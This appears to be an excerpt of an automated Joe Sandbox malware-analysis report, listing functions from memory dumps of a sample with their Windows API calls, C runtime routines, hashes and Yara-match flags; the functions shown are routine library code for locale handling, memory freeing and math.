Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,041007A3,00000000,00000000,?), ref: 04100A31

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: f66693705f548f29d4e13755c6b95d8f8d6fc91d438b3d8f3cc98e9f9ea0c49c
Instruction ID: 50ead359e41f9067d85f25f30fd0cccac28787d19ade258c96f75dad75937e04
Opcode Fuzzy Hash: f66693705f548f29d4e13755c6b95d8f8d6fc91d438b3d8f3cc98e9f9ea0c49c
Instruction Fuzzy Hash: 48F0FE32610115EFDB245A249C457BA7FA8DB48714F058475ED0DA31C0EBF5BE41C5D0

Uniqueness

Uniqueness Score: -1.00%

Function 041007D3 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FDF
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FEC

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 04100829

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: f3b390e475d9413ff6b7c2f94ac24b015e0c90e9044f669a54f5ffb26abc6a4e
Instruction ID: 431c351d0e3ae63fb287e04d5d5e1808695c8471a057cafb9d0c0a48f4221cb8
Opcode Fuzzy Hash: f3b390e475d9413ff6b7c2f94ac24b015e0c90e9044f669a54f5ffb26abc6a4e
Instruction Fuzzy Hash: AAF0F932A401099BE724AF34DC81EFA33ACDB48314F0441BAEA06D7280DA747D0697D4

Uniqueness

Uniqueness Score: -1.00%

Function 041004F8 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

EnumSystemLocalesW.KERNEL32(0042056E,00000001,?,?,040F45A4,?,04100B76,040F45A4,?,?,?,?,?,040F45A4,?,?), ref: 04100544

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: ab85bc1e43991df2705f07cc57a9aa43a57183c5a15191c37f6533489f07c1c3
Instruction ID: 3067e151ef80612ad5c1ca75af361bdf1ab7d5df22b4c715c11e1dc073772048
Opcode Fuzzy Hash: ab85bc1e43991df2705f07cc57a9aa43a57183c5a15191c37f6533489f07c1c3
Instruction Fuzzy Hash: CFF0A4363003055FDB249E39AC9076A7B95EB8575CF158469E94687580D7B1E8429A40

Uniqueness

Uniqueness Score: -1.00%

Function 040F774B Relevance: 1.5, APIs: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,040F4002,?,00000004), ref: 040F779E

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 16cd5fe533abe38c8938b3605934ededaf6bf2fe340af36181b6536a737cd79b
Instruction ID: 54a54e9f7ed3587b1844d4e36cab912f4d4877cb9245415c5fdab899f8930a06
Opcode Fuzzy Hash: 16cd5fe533abe38c8938b3605934ededaf6bf2fe340af36181b6536a737cd79b
Instruction Fuzzy Hash: A3F0CD31740718BBEB11AF61EC01FBE7B62EF04B10F900079FE0927660CA716A20968A

Uniqueness

Uniqueness Score: -1.00%

Function 004170F1 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004119FB: EnterCriticalSection.KERNEL32(?,?,00416AB9,?,00438F18,00000008,00416B87,?,?,?), ref: 00411A0A

EnumSystemLocalesW.KERNEL32(004170AB,00000001,00438F98,0000000C), ref: 00417129

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 34f2c7c79e2cbef245b5bba48df75d0ee1bc9e4dcdbb44796bb0ada881aefcd0
Instruction ID: 227376a4ab674bdc9c4c41bbf3289077a45538867ed31d3f45bd6c9a80692724
Opcode Fuzzy Hash: 34f2c7c79e2cbef245b5bba48df75d0ee1bc9e4dcdbb44796bb0ada881aefcd0
Instruction Fuzzy Hash: CEF03C72A60204AFEB14EF69D846B9D7BF0EB04724F10516AF514DB2E2CB788994CB49

Uniqueness

Uniqueness Score: -1.00%

Function 040F7358 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 040F1C62: RtlEnterCriticalSection.NTDLL(?), ref: 040F1C71

EnumSystemLocalesW.KERNEL32(004170AB,00000001,00438F98,0000000C), ref: 040F7390

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 34f2c7c79e2cbef245b5bba48df75d0ee1bc9e4dcdbb44796bb0ada881aefcd0
Instruction ID: 894676b60ec66f4ef8b67f0f864cd2dca54314bd501173e343c37785ec630569
Opcode Fuzzy Hash: 34f2c7c79e2cbef245b5bba48df75d0ee1bc9e4dcdbb44796bb0ada881aefcd0
Instruction Fuzzy Hash: AAF04F72A50304EFEB24EF68DC45B9D77F0EB04728F10522AF504EB2E0CB7469549B89

Uniqueness

Uniqueness Score: -1.00%

Function 004201AB Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

EnumSystemLocalesW.KERNEL32(00420102,00000001,?,?,?,0042096D,=CA,?,?,?,?,?,0041433D,?,?,?), ref: 004201E2

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 41353a6a5a1ae6525751a9f7d236a5596a36ca5e687db3fc97805353d191d65e
Instruction ID: 1f93f3ac1edaee4f5bdf4820daeb7c54606ccdf48e22ceddedb235dadc806722
Opcode Fuzzy Hash: 41353a6a5a1ae6525751a9f7d236a5596a36ca5e687db3fc97805353d191d65e
Instruction Fuzzy Hash: FAF05C3530021557CB089F36EC056767FD1FFC1714F46405EEE058B242C676D852C754

Uniqueness

Uniqueness Score: -1.00%

Function 04100412 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

EnumSystemLocalesW.KERNEL32(00420102,00000001,?,?,?,04100BD4,040F45A4,?,?,?,?,?,040F45A4,?,?,?), ref: 04100449

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 41353a6a5a1ae6525751a9f7d236a5596a36ca5e687db3fc97805353d191d65e
Instruction ID: 7cc11a0718a5a24d73e219cdec8aae8b74a3658f18b1d0272f5ba52f857fc655
Opcode Fuzzy Hash: 41353a6a5a1ae6525751a9f7d236a5596a36ca5e687db3fc97805353d191d65e
Instruction Fuzzy Hash: E6F05C3530020557CB049F35EC4577A7F90EFC1714F464099EE05CB581C672A843C794

Uniqueness

Uniqueness Score: -1.00%

Function 00409C06 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00009C12,00409378), ref: 00409C0B

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 446271a214095958ad9c011d01ba42074dae904a52e7de46a6d8a851fd51a1a0
Instruction ID: 25375c97a59092c1080366b5be14f539dc246f89f8962c586dc55e39c5aaa00f
Opcode Fuzzy Hash: 446271a214095958ad9c011d01ba42074dae904a52e7de46a6d8a851fd51a1a0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 040E9E6D Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00409C12,040E95DF), ref: 040E9E72

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 446271a214095958ad9c011d01ba42074dae904a52e7de46a6d8a851fd51a1a0
Instruction ID: 25375c97a59092c1080366b5be14f539dc246f89f8962c586dc55e39c5aaa00f
Opcode Fuzzy Hash: 446271a214095958ad9c011d01ba42074dae904a52e7de46a6d8a851fd51a1a0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00420AEA Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00420AEA

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 08a33e80fad7453357a82acd7fe4e620bf3ed4498dea0d9e25bb497d863b1c5b
Instruction ID: 30dd4879e0e4f7cbc3ef4d655b8e95e3224648d78b38178bcfd532eea7b5d2d0
Opcode Fuzzy Hash: 08a33e80fad7453357a82acd7fe4e620bf3ed4498dea0d9e25bb497d863b1c5b
Instruction Fuzzy Hash: 05A011302002008BA3208F30AA883083BA8AA802C0B8800BAA808C0030EB308880EA8C

Uniqueness

Uniqueness Score: -1.00%

Function 041852F3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2388126595.0000000004185000.00000040.00000020.00020000.00000000.sdmp, Offset: 04185000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4185000_i1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 690d2350704cad08c3f74a207a9005e9235ccf25e21d01a3c5fa3bbe9813d59d
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 4A118E72340200AFD744EF55DDC0EA673EAEB89360B5981A9ED04CB312E7B5F801CB60

Uniqueness

Uniqueness Score: -1.00%

Function 040E0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 6f2505122823001e47b48d31065bdce9ed4b85caabd5ca4a5a031ac0497233f4
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: AC01A276A006148FDF21CF25C804BBA33E5EB86316F4544B5E90AEB281E7B4F9518F90

Uniqueness

Uniqueness Score: -1.00%

Function 00411F6A Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00411FDA
_free.LIBCMT ref: 00411FF0
_free.LIBCMT ref: 00412001
_free.LIBCMT ref: 00412012
_free.LIBCMT ref: 00412029
GetCPInfo.KERNEL32(?,?), ref: 00412071

Part of subcall function 0041B14E: _free.LIBCMT ref: 0041B1B9

_free.LIBCMT ref: 0041221D
_free.LIBCMT ref: 00412230
_free.LIBCMT ref: 0041223E
_free.LIBCMT ref: 00412249
_free.LIBCMT ref: 0041228B
_free.LIBCMT ref: 00412293
_free.LIBCMT ref: 0041229B
_free.LIBCMT ref: 004122A3
_free.LIBCMT ref: 004122B1

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 553da067019c13ab358a85b9588715c5e968bd6b03ba2638ba4cdb450481afc4
Instruction ID: 6ca6d0b646c7f0fe038b25a88f0b1b8239ef077873d54ac3d67d72be22f80314
Opcode Fuzzy Hash: 553da067019c13ab358a85b9588715c5e968bd6b03ba2638ba4cdb450481afc4
Instruction Fuzzy Hash: 40B1B071900309AFDB20DFA5C941BEEBBF5BF08304F14416EF959E7242D7B9A8918B64

Uniqueness

Uniqueness Score: -1.00%

Function 040F21D1 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 040F2241
_free.LIBCMT ref: 040F2257
_free.LIBCMT ref: 040F2268
_free.LIBCMT ref: 040F2279
_free.LIBCMT ref: 040F2290
GetCPInfo.KERNEL32(?,?), ref: 040F22D8

Part of subcall function 040FB3B5: _free.LIBCMT ref: 040FB420

_free.LIBCMT ref: 040F2484
_free.LIBCMT ref: 040F2497
_free.LIBCMT ref: 040F24A5
_free.LIBCMT ref: 040F24B0
_free.LIBCMT ref: 040F24F2
_free.LIBCMT ref: 040F24FA
_free.LIBCMT ref: 040F2502
_free.LIBCMT ref: 040F250A
_free.LIBCMT ref: 040F2518

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 75a6b59b9c40cea0cceaa5b4972bf0a9586fa080860b27bf2b1171f59b09a734
Instruction ID: 87fcb6e1d22e150bfad0161417d98f5a268cf2e8d54e39ce9218ad18c9f54065
Opcode Fuzzy Hash: 75a6b59b9c40cea0cceaa5b4972bf0a9586fa080860b27bf2b1171f59b09a734
Instruction Fuzzy Hash: 30B18F71900205AEEB21DFA9CC80BEEB7F5FF08308F14447DEA95B7641DA76B8418B61

Uniqueness

Uniqueness Score: -1.00%

Function 0041F521 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041F565

Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E8D1
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E8E3
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E8F5
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E907
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E919
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E92B
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E93D
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E94F
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E961
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E973
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E985
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E997
Part of subcall function 0041E8B4: _free.LIBCMT ref: 0041E9A9

_free.LIBCMT ref: 0041F55A

Part of subcall function 0041629A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?), ref: 004162B0
Part of subcall function 0041629A: GetLastError.KERNEL32(?,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?,?), ref: 004162C2

_free.LIBCMT ref: 0041F57C
_free.LIBCMT ref: 0041F591
_free.LIBCMT ref: 0041F59C
_free.LIBCMT ref: 0041F5BE
_free.LIBCMT ref: 0041F5D1
_free.LIBCMT ref: 0041F5DF
_free.LIBCMT ref: 0041F5EA
_free.LIBCMT ref: 0041F622
_free.LIBCMT ref: 0041F629
_free.LIBCMT ref: 0041F646
_free.LIBCMT ref: 0041F65E

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 433bf5766d187de3befac8d4d8ba4bb6dd22b8706a7933c0d1acaef10e60abec
Instruction ID: 663e15b0dde773794ed22c5679a1a820cae4c96c2080e6077b97fe37dff8eac1
Opcode Fuzzy Hash: 433bf5766d187de3befac8d4d8ba4bb6dd22b8706a7933c0d1acaef10e60abec
Instruction Fuzzy Hash: D5316C71500300AFEB20AE7AE805B9773E9FF44318F11446BE849C7262DA79E8D68A18

Uniqueness

Uniqueness Score: -1.00%

Function 040FF788 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 040FF7CC

Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEB38
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEB4A
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEB5C
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEB6E
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEB80
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEB92
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEBA4
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEBB6
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEBC8
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEBDA
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEBEC
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEBFE
Part of subcall function 040FEB1B: _free.LIBCMT ref: 040FEC10

_free.LIBCMT ref: 040FF7C1

Part of subcall function 040F6501: HeapFree.KERNEL32(00000000,00000000,?,040FF288,?,00000000,?,00000000,?,040FF52C,?,00000007,?,?,040FF920,?), ref: 040F6517
Part of subcall function 040F6501: GetLastError.KERNEL32(?,?,040FF288,?,00000000,?,00000000,?,040FF52C,?,00000007,?,?,040FF920,?,?), ref: 040F6529

_free.LIBCMT ref: 040FF7E3
_free.LIBCMT ref: 040FF7F8
_free.LIBCMT ref: 040FF803
_free.LIBCMT ref: 040FF825
_free.LIBCMT ref: 040FF838
_free.LIBCMT ref: 040FF846
_free.LIBCMT ref: 040FF851
_free.LIBCMT ref: 040FF889
_free.LIBCMT ref: 040FF890
_free.LIBCMT ref: 040FF8AD
_free.LIBCMT ref: 040FF8C5

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 433bf5766d187de3befac8d4d8ba4bb6dd22b8706a7933c0d1acaef10e60abec
Instruction ID: 97919bebd2cd1238b26cdd72aef4a07d0f09d8aca6b16f8a68e350cb49910f8e
Opcode Fuzzy Hash: 433bf5766d187de3befac8d4d8ba4bb6dd22b8706a7933c0d1acaef10e60abec
Instruction Fuzzy Hash: 07315032600702AFEF706A74DC44B96B3E9EF00718F54487AEA58F7950DF72F9428611

Uniqueness

Uniqueness Score: -1.00%

Function 0041E9B2 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041E9FA
_free.LIBCMT ref: 0041EA1E
_free.LIBCMT ref: 0041EA2B
_free.LIBCMT ref: 0041EA50
_free.LIBCMT ref: 0041EA5D
_free.LIBCMT ref: 0041EA66
_free.LIBCMT ref: 0041ED44
_free.LIBCMT ref: 0041ED4C

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f7272d8640a351cb7ba9f4033a28a6de6cf5ddfcb3ed898df1b07d3bb18c3361
Instruction ID: 835e439df6746d9e4a645f0e3ab6fafaf2a1d36bb3e8ca10982b002e8b7a98f5
Opcode Fuzzy Hash: f7272d8640a351cb7ba9f4033a28a6de6cf5ddfcb3ed898df1b07d3bb18c3361
Instruction Fuzzy Hash: 12C15476D40204BBDB20DFA9CC43FDA77F8AF48744F15416AFE05EB282E67499818794

Uniqueness

Uniqueness Score: -1.00%

Function 00423226 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,0042422F), ref: 00423249

Strings

acos, xrefs: 004233C1
pow, xrefs: 0042332D, 004233D9, 004233EC
asin, xrefs: 004233B5
/BB, xrefs: 0042342E
sqrt, xrefs: 004233CD
log, xrefs: 004232EF, 004232FB
exp, xrefs: 0042330E, 00423370
log10, xrefs: 00423293, 004232E3

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: DecodePointer
String ID: /BB$acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-1021189420
Opcode ID: 630b55b5aee0cdac9947df96942a2c518d9551f2e4122bfaff5c71f9b894d309
Instruction ID: 713dac25a3a6b9e2a85c2ced730dd83283c3aaa7dc4d76372812c5e21a3eb3ad
Opcode Fuzzy Hash: 630b55b5aee0cdac9947df96942a2c518d9551f2e4122bfaff5c71f9b894d309
Instruction Fuzzy Hash: C2514F71B00529CBDB10DF58F9485ADBBB0FF49315FE041A6D881A6264CB7D8B2AC72D

Uniqueness

Uniqueness Score: -1.00%

Function 00416C25 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00416C39

Part of subcall function 0041629A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?), ref: 004162B0
Part of subcall function 0041629A: GetLastError.KERNEL32(?,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?,?), ref: 004162C2

_free.LIBCMT ref: 00416C45
_free.LIBCMT ref: 00416C50
_free.LIBCMT ref: 00416C5B
_free.LIBCMT ref: 00416C66
_free.LIBCMT ref: 00416C71
_free.LIBCMT ref: 00416C7C
_free.LIBCMT ref: 00416C87
_free.LIBCMT ref: 00416C92
_free.LIBCMT ref: 00416CA0

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7e08463fe454a3efb13b0bae982afa11f0016e82d7eaa394236c4ad25814e345
Instruction ID: bc4a8488de18622ef43ac097d779123cba2550ccea22c0c0e46fff27a6ede036
Opcode Fuzzy Hash: 7e08463fe454a3efb13b0bae982afa11f0016e82d7eaa394236c4ad25814e345
Instruction Fuzzy Hash: B611BC75100118BFDF01FF95D952DD93B65EF48358B42849AFD084F122D635EE919B44

Uniqueness

Uniqueness Score: -1.00%

Function 040F6E8C Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 040F6EA0

Part of subcall function 040F6501: HeapFree.KERNEL32(00000000,00000000,?,040FF288,?,00000000,?,00000000,?,040FF52C,?,00000007,?,?,040FF920,?), ref: 040F6517
Part of subcall function 040F6501: GetLastError.KERNEL32(?,?,040FF288,?,00000000,?,00000000,?,040FF52C,?,00000007,?,?,040FF920,?,?), ref: 040F6529

_free.LIBCMT ref: 040F6EAC
_free.LIBCMT ref: 040F6EB7
_free.LIBCMT ref: 040F6EC2
_free.LIBCMT ref: 040F6ECD
_free.LIBCMT ref: 040F6ED8
_free.LIBCMT ref: 040F6EE3
_free.LIBCMT ref: 040F6EEE
_free.LIBCMT ref: 040F6EF9
_free.LIBCMT ref: 040F6F07

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7e08463fe454a3efb13b0bae982afa11f0016e82d7eaa394236c4ad25814e345
Instruction ID: 0c44a4c761622bcb1e4f555bf613883c1f43d5ea5cef2de58f742a085764de78
Opcode Fuzzy Hash: 7e08463fe454a3efb13b0bae982afa11f0016e82d7eaa394236c4ad25814e345
Instruction Fuzzy Hash: 0911D276500009BFEF11FF94CC40CD93BA5EF14758F4188A1FA08ABA21DA33FA529B81

Uniqueness

Uniqueness Score: -1.00%

Function 004011B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004011B5
std::_Lockit::_Lockit.LIBCPMT ref: 004011C7
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00401204

Part of subcall function 00407E7A: _Yarn.LIBCPMT ref: 00407E99
Part of subcall function 00407E7A: _Yarn.LIBCPMT ref: 00407EBD

std::bad_exception::bad_exception.LIBCMT ref: 00401225
__CxxThrowException@8.LIBVCRUNTIME ref: 00401233
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00401256
std::_Lockit::~_Lockit.LIBCPMT ref: 004012C7

Strings

bad locale name, xrefs: 0040121D

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin
